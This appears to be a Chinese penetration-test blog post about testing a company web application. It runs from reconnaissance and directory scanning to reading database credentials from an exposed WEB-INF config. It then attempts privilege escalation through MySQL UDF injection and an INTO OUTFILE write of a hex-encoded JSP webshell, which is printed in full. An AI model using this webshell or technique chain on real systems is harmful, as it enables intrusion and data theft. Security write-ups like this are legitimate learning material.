大家好，又见面了，我是全栈君，祝每个程序员都可以多学几门语言。

记一次某企业实战

0x00 前言

近段时间来也没怎么更新过博客，在这里就来水篇文章吧。

前段时间一直在做项目，也来分享并且记录一下自己的一些成果，和一些小思路。

0x01 信息收集

渗透的第一步肯定是信息收集了，因为由于项目的渗透条件有限，就不做子域名的采集了，超出资产测试范围。

打开网站，发现是个登录框，比较头疼的就是这样的情况，因为没有多少功能点。

wap插件探测的指纹信息为tomcat、jsp

shodan插件显示开放端口

1099 3001 3306 5353 9090

nmap扫描扫描出来10081端口，打开发现是同样的登录框页面。

网站信息：

开放端口： 1099 3001 3306 5353 9090 10081
数据库：mysql
服务器：linux
中间件：tomcat

0x02 漏洞挖掘

网站的后台页面为www.xxx.com/index.action

.action结尾的可能是st2写的，直接拿st2的exp来打一下试试看，或许能有惊喜呢！

扫完后并未发现存在st2的反序列化漏洞。

尝试万能密码和注入也不行，想想还是扫描目录吧

针对于单个站点，并且没有域名的网站还是直接上dirsearch快速的扫描一下，主要的还是扫描一些敏感目录。

python3 dirsearch -u http://xxx.com -e *

扫描到WEB-INF路径，打开后发现个目录遍历

翻找目录看看能不能翻到有用的东西，这里可以直接定位到classes目录一般配置文章都存放在classes文件夹中

发现里面有很多配置文件，在jsp中数据库的连接密码普遍会存放在xxx..properties文件中，打开jdbc.properties

这里直接就显示了他的各种数据库的连接账户和密码

根据前面收集到的信息该数据库为mysql并且开放的端口为3306就可以直接连接他的数据库，如果权限大的话可以直接写入一句话getshell。

使用navicat连接

数据库连接成功后，先来看看他的权限

发现该用户权限和root用户的权限相等，并且密码相同

因为这里没有绝对路径，所以先翻找表内容，发现在manber表里面admin的密码，md5的值，拿到md5解密网站上面解密出来后，拿到后台进行登录

打开后台后，发现大部分页面点不开，上传点也没找到

但从这爆出了web目录的绝对路径可以记录一下，后台未找到上传点，回到数据库里面继续进行渗透。该数据库用户有读写权限，可以直接写入webshell。

查看 secure_file_priv是否为空

SHOW VARIABLES LIKE “secure_file_priv”;

先来尝试一下能不能直接写入udf执行命令，查询plugin 插件目录所在位置

show variables like ‘%plugin%’;

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into dumpfile '/opt/thirdsoft-2.0/mysql-5.1.42/lib/plugin/udf.so';

显示无法创建写入udf.so文件，那么来试试直接写入shell。

SELECT 0x3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c25696628726571756573742e676574506172616d6574657228226e697a652229213d6e756c6c297b537472696e67206b3d2822222b555549442e72616e646f6d555549442829292e7265706c61636528222d222c2222292e737562737472696e67283136293b73657373696f6e2e70757456616c7565282275222c6b293b6f75742e7072696e74286b293b72657475726e3b7d43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563282873657373696f6e2e67657456616c756528227522292b2222292e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b253e into OUTFILE '/home/xxx/xxx-3.4.1/web/abc.jsp'

这里依旧写入不了，由于旁站啥的也没，所以这个点只能放弃了。

0x03 结尾

对于近期这些站还是比较头疼，尤其是对着各种登录框，功能点也比较少，能测的点不多。